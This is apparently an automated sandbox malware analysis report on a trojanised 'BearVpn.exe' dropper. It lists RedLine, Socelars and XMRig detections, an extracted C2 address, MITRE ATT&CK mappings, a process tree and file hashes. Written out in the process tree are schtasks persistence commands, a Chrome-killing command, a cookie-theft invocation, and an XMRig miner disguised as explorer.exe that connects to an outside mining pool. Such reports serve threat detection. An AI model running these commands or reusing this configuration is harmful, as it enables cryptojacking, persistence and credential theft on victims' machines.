Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    21-07-2021 08:33

General

  • Target

    BearVpn.exe

  • Size

    3.0MB

  • MD5

    a802654312893e01557ba184133d742a

  • SHA1

    7d11b858970932ee15b56344906a39f844549128

  • SHA256

    70c590ad30cd6373eea131700cab3852436238c59b2484a70c027e46bb447804

  • SHA512

    68cc841ee71692c3d95a6e46f2e58857cf4b78686367f2be9da53358c2d68b0e374d126a9d31febb47623b5525dec7d479266d7fd8fef1707b690b121bb6afd7

Malware Config

Extracted

Family

redline

Botnet

Ani

C2

yoshelona.xyz:80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Executes dropped EXE 17 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 18 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
    1⤵
      PID:2460
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2768
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2688
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2424
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1764
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
            • Modifies registry class
            PID:1344
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1296
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s Themes
              1⤵
                PID:1136
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                1⤵
                  PID:1096
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:932
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                  1⤵
                    PID:1004
                  • C:\Users\Admin\AppData\Local\Temp\BearVpn.exe
                    "C:\Users\Admin\AppData\Local\Temp\BearVpn.exe"
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:664
                    • C:\Users\Admin\AppData\Local\Temp\3002.exe
                      "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3636
                      • C:\Users\Admin\AppData\Local\Temp\3002.exe
                        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                        3⤵
                        • Executes dropped EXE
                        PID:1484
                    • C:\Users\Admin\AppData\Local\Temp\askinstall54.exe
                      "C:\Users\Admin\AppData\Local\Temp\askinstall54.exe"
                      2⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2864
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2336
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im chrome.exe
                          4⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3788
                    • C:\Users\Admin\AppData\Local\Temp\Chrome2.exe
                      "C:\Users\Admin\AppData\Local\Temp\Chrome2.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2624
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                        3⤵
                          PID:4544
                          • C:\Windows\system32\schtasks.exe
                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                            4⤵
                            • Creates scheduled task(s)
                            PID:4588
                        • C:\Users\Admin\AppData\Roaming\services64.exe
                          "C:\Users\Admin\AppData\Roaming\services64.exe"
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4644
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                            4⤵
                              PID:4944
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                5⤵
                                • Creates scheduled task(s)
                                PID:5060
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                              4⤵
                              • Executes dropped EXE
                              PID:4980
                              • C:\Users\Admin\AppData\Roaming\services64.exe
                                "C:\Users\Admin\AppData\Roaming\services64.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4192
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                  6⤵
                                    PID:2860
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                      7⤵
                                      • Creates scheduled task(s)
                                      PID:3580
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=http://xmr.pool.minergate.com:45700 --user=sadikmalik1@gmail.com --pass= --cpu-max-threads-hint=80
                                    6⤵
                                      PID:4048
                                  • C:\Users\Admin\AppData\Roaming\services64.exe
                                    "C:\Users\Admin\AppData\Roaming\services64.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:3844
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=http://xmr.pool.minergate.com:45700 --user=sadikmalik1@gmail.com --pass= --cpu-max-threads-hint=80
                                  4⤵
                                    PID:5108
                              • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                2⤵
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Suspicious use of WriteProcessMemory
                                PID:744
                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  3⤵
                                  • Executes dropped EXE
                                  PID:3948
                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:664
                              • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                "C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • Suspicious use of WriteProcessMemory
                                PID:1564
                                • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                  C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                                  3⤵
                                  • Executes dropped EXE
                                  PID:2264
                              • C:\Users\Admin\AppData\Local\Temp\P1GlorySetp.exe
                                "C:\Users\Admin\AppData\Local\Temp\P1GlorySetp.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4060
                                • C:\Users\Admin\AppData\Roaming\3773132.exe
                                  "C:\Users\Admin\AppData\Roaming\3773132.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4024
                                  • C:\Windows\system32\WerFault.exe
                                    C:\Windows\system32\WerFault.exe -u -p 4024 -s 1616
                                    4⤵
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4416
                                • C:\Users\Admin\AppData\Roaming\8371244.exe
                                  "C:\Users\Admin\AppData\Roaming\8371244.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Suspicious use of WriteProcessMemory
                                  PID:2088
                                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    PID:900
                            • \??\c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                              1⤵
                              • Suspicious use of SetThreadContext
                              • Modifies registry class
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:1152
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                2⤵
                                • Drops file in System32 directory
                                • Checks processor information in registry
                                • Modifies data under HKEY_USERS
                                • Modifies registry class
                                PID:2084
                            • C:\Windows\system32\rundll32.exe
                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                              1⤵
                              • Process spawned unexpected child process
                              • Suspicious use of WriteProcessMemory
                              PID:3908
                              • C:\Windows\SysWOW64\rundll32.exe
                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                2⤵
                                • Loads dropped DLL
                                • Modifies registry class
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:2860

                            Network

                            MITRE ATT&CK Matrix ATT&CK v6

                            Execution

                            Scheduled Task

                            1
                            T1053

                            Persistence

                            Registry Run Keys / Startup Folder

                            1
                            T1060

                            Scheduled Task

                            1
                            T1053

                            Privilege Escalation

                            Scheduled Task

                            1
                            T1053

                            Defense Evasion

                            Modify Registry

                            2
                            T1112

                            Install Root Certificate

                            1
                            T1130

                            Credential Access

                            Credentials in Files

                            1
                            T1081

                            Discovery

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            2
                            T1082

                            Collection

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Web Service

                            1
                            T1102

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services64.exe.log
                              MD5

                              1340455a637fc44dc74dcda441d71018

                              SHA1

                              84277aa9596ccaacd2b7d72a3fbcef70de91dbd3

                              SHA256

                              a3fe2fec3d432df98c211861dddffe114eae9905d7324a806e0258e11f03628e

                              SHA512

                              087cf3f690ece24bc3fdb971c372b6f86a89e90ea0c6ac1498e8ce09b6e34b0aa7557a74f753f8ea61805199e2c19497b71a93cd25b56d33ca5806c14bdecd00

                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                              MD5

                              e511bb4cf31a2307b6f3445a869bcf31

                              SHA1

                              76f5c6e8df733ac13d205d426831ed7672a05349

                              SHA256

                              56002017746f61eee8d8e9b5ad2f3cbb119dc99300c5b6d32c1be184d3e25137

                              SHA512

                              9c81de34bf3b0eb75405c726d641ef6090054e9be8e0c0ab1bb2ed095e6477ce2fa8996868bf8a77a720b210a76b5f4e1b3b086d7f40449d79498681b367199c

                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                              MD5

                              e511bb4cf31a2307b6f3445a869bcf31

                              SHA1

                              76f5c6e8df733ac13d205d426831ed7672a05349

                              SHA256

                              56002017746f61eee8d8e9b5ad2f3cbb119dc99300c5b6d32c1be184d3e25137

                              SHA512

                              9c81de34bf3b0eb75405c726d641ef6090054e9be8e0c0ab1bb2ed095e6477ce2fa8996868bf8a77a720b210a76b5f4e1b3b086d7f40449d79498681b367199c

                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                              MD5

                              e511bb4cf31a2307b6f3445a869bcf31

                              SHA1

                              76f5c6e8df733ac13d205d426831ed7672a05349

                              SHA256

                              56002017746f61eee8d8e9b5ad2f3cbb119dc99300c5b6d32c1be184d3e25137

                              SHA512

                              9c81de34bf3b0eb75405c726d641ef6090054e9be8e0c0ab1bb2ed095e6477ce2fa8996868bf8a77a720b210a76b5f4e1b3b086d7f40449d79498681b367199c

                            • C:\Users\Admin\AppData\Local\Temp\Chrome2.exe
                              MD5

                              9e8f6e30f23f14e84eba803d7c8a3735

                              SHA1

                              89a67430c4613547fd7bda71397e40328eb2c53a

                              SHA256

                              abec11e4a17d91966964b1b2811a1bda1261ebbfc3344762578c847d93b5f03e

                              SHA512

                              21d42eb32d398472579e69742195e23e58ee430684c93101d1dc92be91f9a19a81f7de954d7a4158450dfc89f207059c63011fbe3e3b965f5ee617fa43776089

                            • C:\Users\Admin\AppData\Local\Temp\Chrome2.exe
                              MD5

                              9e8f6e30f23f14e84eba803d7c8a3735

                              SHA1

                              89a67430c4613547fd7bda71397e40328eb2c53a

                              SHA256

                              abec11e4a17d91966964b1b2811a1bda1261ebbfc3344762578c847d93b5f03e

                              SHA512

                              21d42eb32d398472579e69742195e23e58ee430684c93101d1dc92be91f9a19a81f7de954d7a4158450dfc89f207059c63011fbe3e3b965f5ee617fa43776089

                            • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                              MD5

                              7fbb5db5f2c0a531b04d55e6060c669a

                              SHA1

                              8f126dcd708b2afe036258a8b2b43b549b3796cd

                              SHA256

                              59d0971717ac829cb7a912a9e8cec482ca8684726f8d76370ca777b7bed796fa

                              SHA512

                              5a1e62f5b89e78abd23c4c2cc956448d40128b4d374cf70011b281b7d595a723c0aca9154641bfd70d25419306361dbc6d0bc6eef563cfa73021783f29c6f329

                            • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                              MD5

                              7fbb5db5f2c0a531b04d55e6060c669a

                              SHA1

                              8f126dcd708b2afe036258a8b2b43b549b3796cd

                              SHA256

                              59d0971717ac829cb7a912a9e8cec482ca8684726f8d76370ca777b7bed796fa

                              SHA512

                              5a1e62f5b89e78abd23c4c2cc956448d40128b4d374cf70011b281b7d595a723c0aca9154641bfd70d25419306361dbc6d0bc6eef563cfa73021783f29c6f329

                            • C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
                              MD5

                              7fbb5db5f2c0a531b04d55e6060c669a

                              SHA1

                              8f126dcd708b2afe036258a8b2b43b549b3796cd

                              SHA256

                              59d0971717ac829cb7a912a9e8cec482ca8684726f8d76370ca777b7bed796fa

                              SHA512

                              5a1e62f5b89e78abd23c4c2cc956448d40128b4d374cf70011b281b7d595a723c0aca9154641bfd70d25419306361dbc6d0bc6eef563cfa73021783f29c6f329

                            • C:\Users\Admin\AppData\Local\Temp\P1GlorySetp.exe
                              MD5

                              0e6697222cd32d145e39d76f38b50141

                              SHA1

                              e4ebe4769c687bc9ab49018cfad63550c5d7ba85

                              SHA256

                              e90da55e586dcd2952f1af075fff18a6b7acd2282aecae03d6e9ae81d45f9b16

                              SHA512

                              8df3bfe854443fb38f1609251bff5a506490f19ade5e64fbaaabee3e10d78e953e8d8ef956ab32338a696eeeaf7f64ec085b989b7437b27bd829ed66f0ec7c13

                            • C:\Users\Admin\AppData\Local\Temp\P1GlorySetp.exe
                              MD5

                              0e6697222cd32d145e39d76f38b50141

                              SHA1

                              e4ebe4769c687bc9ab49018cfad63550c5d7ba85

                              SHA256

                              e90da55e586dcd2952f1af075fff18a6b7acd2282aecae03d6e9ae81d45f9b16

                              SHA512

                              8df3bfe854443fb38f1609251bff5a506490f19ade5e64fbaaabee3e10d78e953e8d8ef956ab32338a696eeeaf7f64ec085b989b7437b27bd829ed66f0ec7c13

                            • C:\Users\Admin\AppData\Local\Temp\askinstall54.exe
                              MD5

                              1c26d844eac983317d51664d92e26037

                              SHA1

                              0fcf6bdc38115bedea1a2c7b3fe9f028e85dc59c

                              SHA256

                              6c613e1e1c2f9e06505bd9f752af269d30317934278b0b91bd51a89c079cc2a3

                              SHA512

                              d06bee071f60aad1d12564fb7b211e737d7567d0acda7cc18b19b9b3a12ef6bff7282856b9e16382ad9b653b0e8cd259ba4a99930e947c5d59eaba74c0f26e06

                            • C:\Users\Admin\AppData\Local\Temp\askinstall54.exe
                              MD5

                              1c26d844eac983317d51664d92e26037

                              SHA1

                              0fcf6bdc38115bedea1a2c7b3fe9f028e85dc59c

                              SHA256

                              6c613e1e1c2f9e06505bd9f752af269d30317934278b0b91bd51a89c079cc2a3

                              SHA512

                              d06bee071f60aad1d12564fb7b211e737d7567d0acda7cc18b19b9b3a12ef6bff7282856b9e16382ad9b653b0e8cd259ba4a99930e947c5d59eaba74c0f26e06

                            • C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              MD5

                              b7161c0845a64ff6d7345b67ff97f3b0

                              SHA1

                              d223f855da541fe8e4c1d5c50cb26da0a1deb5fc

                              SHA256

                              fe9e28ff0b652e22a124b0a05382bc1ac48cbd9c7c76ca647b0c9f8542888f66

                              SHA512

                              98d8971ff20ba256cf886a9db416ac9366d2c6ad4ff51a65bd7e539974dc93f4c897f92d8c9c0319c69b27eacf05cd350a0302828e63190b03457a0eda57f680

                            • C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                              MD5

                              b7161c0845a64ff6d7345b67ff97f3b0

                              SHA1

                              d223f855da541fe8e4c1d5c50cb26da0a1deb5fc

                              SHA256

                              fe9e28ff0b652e22a124b0a05382bc1ac48cbd9c7c76ca647b0c9f8542888f66

                              SHA512

                              98d8971ff20ba256cf886a9db416ac9366d2c6ad4ff51a65bd7e539974dc93f4c897f92d8c9c0319c69b27eacf05cd350a0302828e63190b03457a0eda57f680

                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                              MD5

                              7fee8223d6e4f82d6cd115a28f0b6d58

                              SHA1

                              1b89c25f25253df23426bd9ff6c9208f1202f58b

                              SHA256

                              a45317c374d54e322153afd73f0e90f1486638d77b7fd85746d091071bbecd59

                              SHA512

                              3ed900b83dd178637c2fd4e8444a899f17f12c4ec92a6f4de4fe544fe8d41b521c69b8f348343cb397d0e160f23e27429042d758b5fa5acac0bab5c3584bace4

                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                              MD5

                              7fee8223d6e4f82d6cd115a28f0b6d58

                              SHA1

                              1b89c25f25253df23426bd9ff6c9208f1202f58b

                              SHA256

                              a45317c374d54e322153afd73f0e90f1486638d77b7fd85746d091071bbecd59

                              SHA512

                              3ed900b83dd178637c2fd4e8444a899f17f12c4ec92a6f4de4fe544fe8d41b521c69b8f348343cb397d0e160f23e27429042d758b5fa5acac0bab5c3584bace4

                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                              MD5

                              a6279ec92ff948760ce53bba817d6a77

                              SHA1

                              5345505e12f9e4c6d569a226d50e71b5a572dce2

                              SHA256

                              8b581869bf8944a8e0aa169adea2a4afe47434123da477132880aff6a5032181

                              SHA512

                              213cb374f1273c899e0c88a20c0101a7c28024ce5046a2e0d7898bd182d918288bb80367fea4454c437c057ff9ed4fffd42be48a13ca73653021a6d63e1cfa9c

                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                              MD5

                              a6279ec92ff948760ce53bba817d6a77

                              SHA1

                              5345505e12f9e4c6d569a226d50e71b5a572dce2

                              SHA256

                              8b581869bf8944a8e0aa169adea2a4afe47434123da477132880aff6a5032181

                              SHA512

                              213cb374f1273c899e0c88a20c0101a7c28024ce5046a2e0d7898bd182d918288bb80367fea4454c437c057ff9ed4fffd42be48a13ca73653021a6d63e1cfa9c

                            • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                              MD5

                              e4b4e8239211d0334ea235cf9fc8b272

                              SHA1

                              dfd916e4074e177288e62c444f947d408963cf8d

                              SHA256

                              d66743871377f6985465617bd4f1930c56479bff62708c559f6ba7e8125a624b

                              SHA512

                              ef98a1bf1b91a3a4045cd7ea64ab0ee6bb47eb82b2508abe580806f491b9ad97a736a1853f326580eca1bd597d80b6a05e59769a48e09852d5de485f44a0b4cf

                            • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                              MD5

                              e4b4e8239211d0334ea235cf9fc8b272

                              SHA1

                              dfd916e4074e177288e62c444f947d408963cf8d

                              SHA256

                              d66743871377f6985465617bd4f1930c56479bff62708c559f6ba7e8125a624b

                              SHA512

                              ef98a1bf1b91a3a4045cd7ea64ab0ee6bb47eb82b2508abe580806f491b9ad97a736a1853f326580eca1bd597d80b6a05e59769a48e09852d5de485f44a0b4cf

                            • C:\Users\Admin\AppData\Local\Temp\sqlite.dat
                              MD5

                              789b4a4322b5c36bff3f59a79ce72034

                              SHA1

                              c8d3c7f093830838e637bad3590884cc5b427ce3

                              SHA256

                              cdbce2a8cbc9e78fd50c2186f79163ab7a43b778af021840ae568600d52ba706

                              SHA512

                              26b92bfaec88be4d614d97d8fd32ddfa0bf622938eff000893d0d6517501877b88fb93391e1a0caab18ed5f008886448797d00a1c8c71d3d1c5f6fe509f98de0

                            • C:\Users\Admin\AppData\Local\Temp\sqlite.dll
                              MD5

                              f7c2849c7a99577986f62500808413de

                              SHA1

                              24ec25a380b470aa4b752d964ad206d35603b04e

                              SHA256

                              3fe37490e43b3bbbd45e4da4c8946c0566c0ee72586707bf4e93834615df80db

                              SHA512

                              a5ff017a37c08282a81a1cbaaeaf36ad53438db0a5742555c6c716a0a3b7fbd55f162490f6d8b808e25a0ef76c80eb0221d05a5d6c74e4abfee315ff7506e74b

                            • C:\Users\Admin\AppData\Roaming\3773132.exe
                              MD5

                              5e7afe7d93a69ac64785a660f9f4e1eb

                              SHA1

                              ad106231444fa351c91c603258959c4310d32c79

                              SHA256

                              fadfbcd7fa30f52c86a94cd445092a43d75c26b5007ce175d4f59fd4cf1d0a73

                              SHA512

                              f3c6dd71e8ac8d1cd707d7538fef502bb717c4d3d9249a06d82bdfb332829e0a28fca5ab6075a7095aafa87f0ef861aba56a3eb49ef6a32a87c1296b62d04f3b

                            • C:\Users\Admin\AppData\Roaming\3773132.exe
                              MD5

                              5e7afe7d93a69ac64785a660f9f4e1eb

                              SHA1

                              ad106231444fa351c91c603258959c4310d32c79

                              SHA256

                              fadfbcd7fa30f52c86a94cd445092a43d75c26b5007ce175d4f59fd4cf1d0a73

                              SHA512

                              f3c6dd71e8ac8d1cd707d7538fef502bb717c4d3d9249a06d82bdfb332829e0a28fca5ab6075a7095aafa87f0ef861aba56a3eb49ef6a32a87c1296b62d04f3b

                            • C:\Users\Admin\AppData\Roaming\8371244.exe
                              MD5

                              0fe3680e0ce50557f4c272bb4872ec74

                              SHA1

                              5f2bbfa2ea1293524b72a2dbfe3954b6ba8f9f66

                              SHA256

                              f9d67121048756158858a6c926af3db190e88df9eb052e99d8d6d93d7fcf1fd7

                              SHA512

                              ffe63264322f1e9cad904d4d09069ca5d48e322a2a66e29fcdc6f53f4cd77000389e99f76ae6f86edc974a62f49243169c973be2f52cc33cdbe9a96d7dc5bcf7

                            • C:\Users\Admin\AppData\Roaming\8371244.exe
                              MD5

                              0fe3680e0ce50557f4c272bb4872ec74

                              SHA1

                              5f2bbfa2ea1293524b72a2dbfe3954b6ba8f9f66

                              SHA256

                              f9d67121048756158858a6c926af3db190e88df9eb052e99d8d6d93d7fcf1fd7

                              SHA512

                              ffe63264322f1e9cad904d4d09069ca5d48e322a2a66e29fcdc6f53f4cd77000389e99f76ae6f86edc974a62f49243169c973be2f52cc33cdbe9a96d7dc5bcf7

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
                              MD5

                              0c0195c48b6b8582fa6f6373032118da

                              SHA1

                              d25340ae8e92a6d29f599fef426a2bc1b5217299

                              SHA256

                              11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

                              SHA512

                              ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                              MD5

                              3e55ae97481cafa2f36ea7cc5d5ce53b

                              SHA1

                              bd203282e7b521b15ab6f7f795b57be2c88e1c43

                              SHA256

                              233a183034dd57b3facc2a28e92edca76de031829591cae87fe2741397c8bd10

                              SHA512

                              b05f80b5958264d779d1e469739229b12e2bb89312fae987cb4161491dd3337333fbe2b612303d00002fb500fd44db33225d67ed3c5431691b2afe5c5c8f6141

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                              MD5

                              3e55ae97481cafa2f36ea7cc5d5ce53b

                              SHA1

                              bd203282e7b521b15ab6f7f795b57be2c88e1c43

                              SHA256

                              233a183034dd57b3facc2a28e92edca76de031829591cae87fe2741397c8bd10

                              SHA512

                              b05f80b5958264d779d1e469739229b12e2bb89312fae987cb4161491dd3337333fbe2b612303d00002fb500fd44db33225d67ed3c5431691b2afe5c5c8f6141

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.log
                              MD5

                              c0a80f25ccc29785c902e764a3b41ae9

                              SHA1

                              ac7b944cedecd10bf2d0be40e7c9e38a12f7d0ae

                              SHA256

                              be35c27b95f3dff2ad793aa1b9c53ba8a1d340ec8f640c45c21efc8534d8098d

                              SHA512

                              7e4c91071b89b97515934651030b23739ee6b1937e019888f6ed5c3ce43a36ec3635a925cfc57070a3e482e9e896febdd07e35900ec981ecb6f25066987984d7

                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                              MD5

                              0fe3680e0ce50557f4c272bb4872ec74

                              SHA1

                              5f2bbfa2ea1293524b72a2dbfe3954b6ba8f9f66

                              SHA256

                              f9d67121048756158858a6c926af3db190e88df9eb052e99d8d6d93d7fcf1fd7

                              SHA512

                              ffe63264322f1e9cad904d4d09069ca5d48e322a2a66e29fcdc6f53f4cd77000389e99f76ae6f86edc974a62f49243169c973be2f52cc33cdbe9a96d7dc5bcf7

                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                              MD5

                              0fe3680e0ce50557f4c272bb4872ec74

                              SHA1

                              5f2bbfa2ea1293524b72a2dbfe3954b6ba8f9f66

                              SHA256

                              f9d67121048756158858a6c926af3db190e88df9eb052e99d8d6d93d7fcf1fd7

                              SHA512

                              ffe63264322f1e9cad904d4d09069ca5d48e322a2a66e29fcdc6f53f4cd77000389e99f76ae6f86edc974a62f49243169c973be2f52cc33cdbe9a96d7dc5bcf7

                            • C:\Users\Admin\AppData\Roaming\services64.exe
                              MD5

                              9e8f6e30f23f14e84eba803d7c8a3735

                              SHA1

                              89a67430c4613547fd7bda71397e40328eb2c53a

                              SHA256

                              abec11e4a17d91966964b1b2811a1bda1261ebbfc3344762578c847d93b5f03e

                              SHA512

                              21d42eb32d398472579e69742195e23e58ee430684c93101d1dc92be91f9a19a81f7de954d7a4158450dfc89f207059c63011fbe3e3b965f5ee617fa43776089

                            • C:\Users\Admin\AppData\Roaming\services64.exe
                              MD5

                              9e8f6e30f23f14e84eba803d7c8a3735

